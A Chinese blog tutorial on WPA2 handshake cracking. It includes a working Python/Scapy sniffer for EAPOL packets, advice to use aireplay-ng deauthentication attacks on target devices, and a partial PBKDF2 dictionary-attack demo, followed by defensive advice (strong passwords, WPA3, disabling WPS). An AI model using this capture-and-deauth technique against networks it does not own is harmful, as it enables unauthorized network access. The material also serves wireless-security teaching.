欢迎光临
我们一直在努力

Wi-Fi 破解原理与防御:用 Python + Scapy 抓取“握手包”并跑字典,硬核演示 WPA2 弱点

🚨 前言:你家的 Wi-Fi 为什么不安全?

WPA2 协议看似铜墙铁壁,但它有一个致命的设计逻辑缺陷:
设备(手机/电脑)连接路由器时,必须进行**“四次握手” (4-Way Handshake)** 来验证密码是否正确。
这个过程是公开广播的。
黑客只要在旁边静静地“听”到这四次握手的数据包,把它抓回家,就可以关起门来用字典疯狂尝试密码,直到计算出的哈希值与抓到的包匹配。

攻防逻辑示意图 (Mermaid):

#mermaid-svg-rqp2DfJVaWJxeXSp{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-rqp2DfJVaWJxeXSp .error-icon{fill:#552222;}#mermaid-svg-rqp2DfJVaWJxeXSp .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-rqp2DfJVaWJxeXSp .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-rqp2DfJVaWJxeXSp .marker{fill:#333333;stroke:#333333;}#mermaid-svg-rqp2DfJVaWJxeXSp .marker.cross{stroke:#333333;}#mermaid-svg-rqp2DfJVaWJxeXSp svg{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-rqp2DfJVaWJxeXSp p{margin:0;}#mermaid-svg-rqp2DfJVaWJxeXSp .label{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster-label text{fill:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster-label span{color:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster-label span p{background-color:transparent;}#mermaid-svg-rqp2DfJVaWJxeXSp .label text,#mermaid-svg-rqp2DfJVaWJxeXSp span{fill:#333;color:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp .node rect,#mermaid-svg-rqp2DfJVaWJxeXSp .node circle,#mermaid-svg-rqp2DfJVaWJxeXSp .node ellipse,#mermaid-svg-rqp2DfJVaWJxeXSp .node polygon,#mermaid-svg-rqp2DfJVaWJxeXSp .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-rqp2DfJVaWJxeXSp .rough-node .label text,#mermaid-svg-rqp2DfJVaWJxeXSp .node .label text,#mermaid-svg-rqp2DfJVaWJxeXSp .image-shape .label,#mermaid-svg-rqp2DfJVaWJxeXSp .icon-shape .label{text-anchor:middle;}#mermaid-svg-rqp2DfJVaWJxeXSp .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-rqp2DfJVaWJxeXSp .rough-node .label,#mermaid-svg-rqp2DfJVaWJxeXSp .node .label,#mermaid-svg-rqp2DfJVaWJxeXSp .image-shape .label,#mermaid-svg-rqp2DfJVaWJxeXSp .icon-shape .label{text-align:center;}#mermaid-svg-rqp2DfJVaWJxeXSp .node.clickable{cursor:pointer;}#mermaid-svg-rqp2DfJVaWJxeXSp .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-rqp2DfJVaWJxeXSp .arrowheadPath{fill:#333333;}#mermaid-svg-rqp2DfJVaWJxeXSp .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-rqp2DfJVaWJxeXSp .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-rqp2DfJVaWJxeXSp .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-rqp2DfJVaWJxeXSp .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-rqp2DfJVaWJxeXSp .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-rqp2DfJVaWJxeXSp .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster text{fill:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp .cluster span{color:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-rqp2DfJVaWJxeXSp .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-rqp2DfJVaWJxeXSp rect.text{fill:none;stroke-width:0;}#mermaid-svg-rqp2DfJVaWJxeXSp .icon-shape,#mermaid-svg-rqp2DfJVaWJxeXSp .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-rqp2DfJVaWJxeXSp .icon-shape p,#mermaid-svg-rqp2DfJVaWJxeXSp .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-rqp2DfJVaWJxeXSp .icon-shape rect,#mermaid-svg-rqp2DfJVaWJxeXSp .image-shape rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-rqp2DfJVaWJxeXSp .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-rqp2DfJVaWJxeXSp .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-rqp2DfJVaWJxeXSp :root{–mermaid-font-family:\”trebuchet ms\”,verdana,arial,sans-serif;}1. 请求连接2. 发送随机数 Anonce3. 发送随机数 Snonce + MIC (关键)4. 确认

抓取握手包

跑字典/暴力破解

用户手机

路由器 AP

黑客 (监听模式)

本地电脑

得出明文密码


🛠️ 准备工作

  • 硬件:你需要一个支持监听模式 (Monitor Mode) 的无线网卡(如 RTL8812AU, AR9271 等)。
  • 环境:Kali Linux 或 Ubuntu(Windows 下 Scapy 开启监听模式较麻烦)。
  • 依赖:
  • pip install scapy
    # 开启监听模式 (假设网卡是 wlan0)
    sudo airmon-ng start wlan0


    📡 第一步:编写 Python 嗅探器抓取 EAPOL 包

    WPA2 的握手包在网络协议中被称为 EAPOL (Extensible Authentication Protocol over LAN)。我们要利用 Scapy 过滤出这种包。

    核心代码 (sniffer.py):

    from scapy.all import *
    import sys

    # 设置要监听的网卡 (通常是 wlan0mon)
    IFACE = "wlan0mon"

    print(f"[*] 正在监听 {IFACE} 上的握手包…")

    def packet_handler(pkt):
    # 过滤 EAPOL 协议的包
    if pkt.haslayer(EAPOL):
    # EAPOL 包通常在 802.11 帧中
    if pkt.haslayer(Dot11):
    # 获取发送方和接收方的 MAC 地址
    addr1 = pkt.addr1 # 接收方 (Destination)
    addr2 = pkt.addr2 # 发送方 (Source)

    print(f"[+] 捕获 EAPOL 包: {addr2} -> {addr1}")

    # 将包保存到本地 pcap 文件
    wrpcap("handshake.pcap", pkt, append=True)

    # 开始嗅探
    # store=0 表示不在内存中保存包,防止内存溢出
    sniff(iface=IFACE, prn=packet_handler, store=0)

    实战操作:

  • 运行脚本。
  • 为了加速抓包,通常会使用 aireplay-ng 发送**“断网攻击 (Deauth)”**,强制目标设备掉线。
  • 目标设备自动重连时,脚本就会抓到 4 个 EAPOL 包,存入 handshake.pcap。

  • 🔐 第二步:Python 模拟字典攻击 (原理演示)

    抓到包后,我们如何从乱码中算出密码?
    WPA2 的加密核心是 PBKDF2 算法。

    计算公式:

    简单来说:我们用字典里的密码算出 MIC,如果算出来的 MIC 和抓包里的 MIC 一样,密码就对了。

    破解演示代码 (cracker.py):
    (注意:Python 跑 PBKDF2 速度很慢,生产环境通常用 C 写的 aircrack-ng 或 GPU 加速的 hashcat,这里仅做原理解析)

    import hashlib
    import hmac
    from binascii import a2b_hex

    def calc_pmk(ssid, password):
    """
    计算成对主密钥 (PMK)
    算法:PBKDF2(HMAC-SHA1, password, ssid, 4096, 32)
    """

    return hashlib.pbkdf2_hmac(
    'sha1',
    password.encode('utf-8'),
    ssid.encode('utf-8'),
    4096,
    32
    )

    def try_crack(ssid, dictionary_file):
    print(f"[*] 开始破解 SSID: {ssid}")
    with open(dictionary_file, 'r', errors='ignore') as f:
    for line in f:
    password = line.strip()
    if len(password) < 8: continue

    # 模拟计算过程(真实场景还需要结合 Anonce/Snonce 计算 PTK)
    # 这里仅演示最耗时的 PMK 计算步骤
    pmk = calc_pmk(ssid, password)

    # 假设我们有一个函数 check_mic(pmk, captured_packet)
    # if check_mic(pmk, captured_data):
    # print(f"🎉 密码找到: {password}")
    # break

    # 打印进度
    sys.stdout.write(f"\\r正在尝试: {password}")
    sys.stdout.flush()

    # try_crack("MyHomeWiFi", "dict.txt")


    🛡️ 防御篇:如何保护你的 Wi-Fi?

    既然知道了攻击原理,防御就很有针对性了。

    1. 杜绝弱密码

    从原理可知,破解成功率完全取决于字典里有没有你的密码。

    • ❌ 弱密码:12345678, admin123, 88888888 (分分钟被秒破)。
    • ✅ 强密码:Tr0ub4dor&3 (包含大小写、数字、特殊符号,且长度>12位,基本无法通过跑字典破解)。
    2. 使用 WPA3

    WPA3 引入了 SAE (对等实体同时验证) 协议。

    • 它不传输易被离线破解的哈希值。
    • 即使黑客抓到了包,也无法在本地离线跑字典。
    • 建议: 在路由器设置中,将加密模式改为 WPA2/WPA3 混合模式 或 仅 WPA3。
    3. 关闭 WPS (Wi-Fi Protected Setup)

    虽然本文讲的是抓握手包,但 WPS(那个为了方便连接的按钮/PIN码)是另一个巨大的安全漏洞,建议直接在路由器后台关闭。


    📝 总结

    通过 Python + Scapy,我们揭开了 Wi-Fi 破解的神秘面纱。
    这并不是什么高深的魔法,而是利用了 WPA2 协议必须“广播握手”的特性。
    作为开发者和架构师,理解攻击链条,才能设计出更安全的网络架构。

    再次提醒:技术无罪,请勿作恶。保护好自己的网络,才是学习黑客技术的最终目的。

    (觉得硬核?点赞、收藏,下期教你《如何用 Python 识别局域网内的 ARP 欺骗攻击》!)

    赞(0)
    未经允许不得转载:171主机测评 » Wi-Fi 破解原理与防御:用 Python + Scapy 抓取“握手包”并跑字典,硬核演示 WPA2 弱点
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址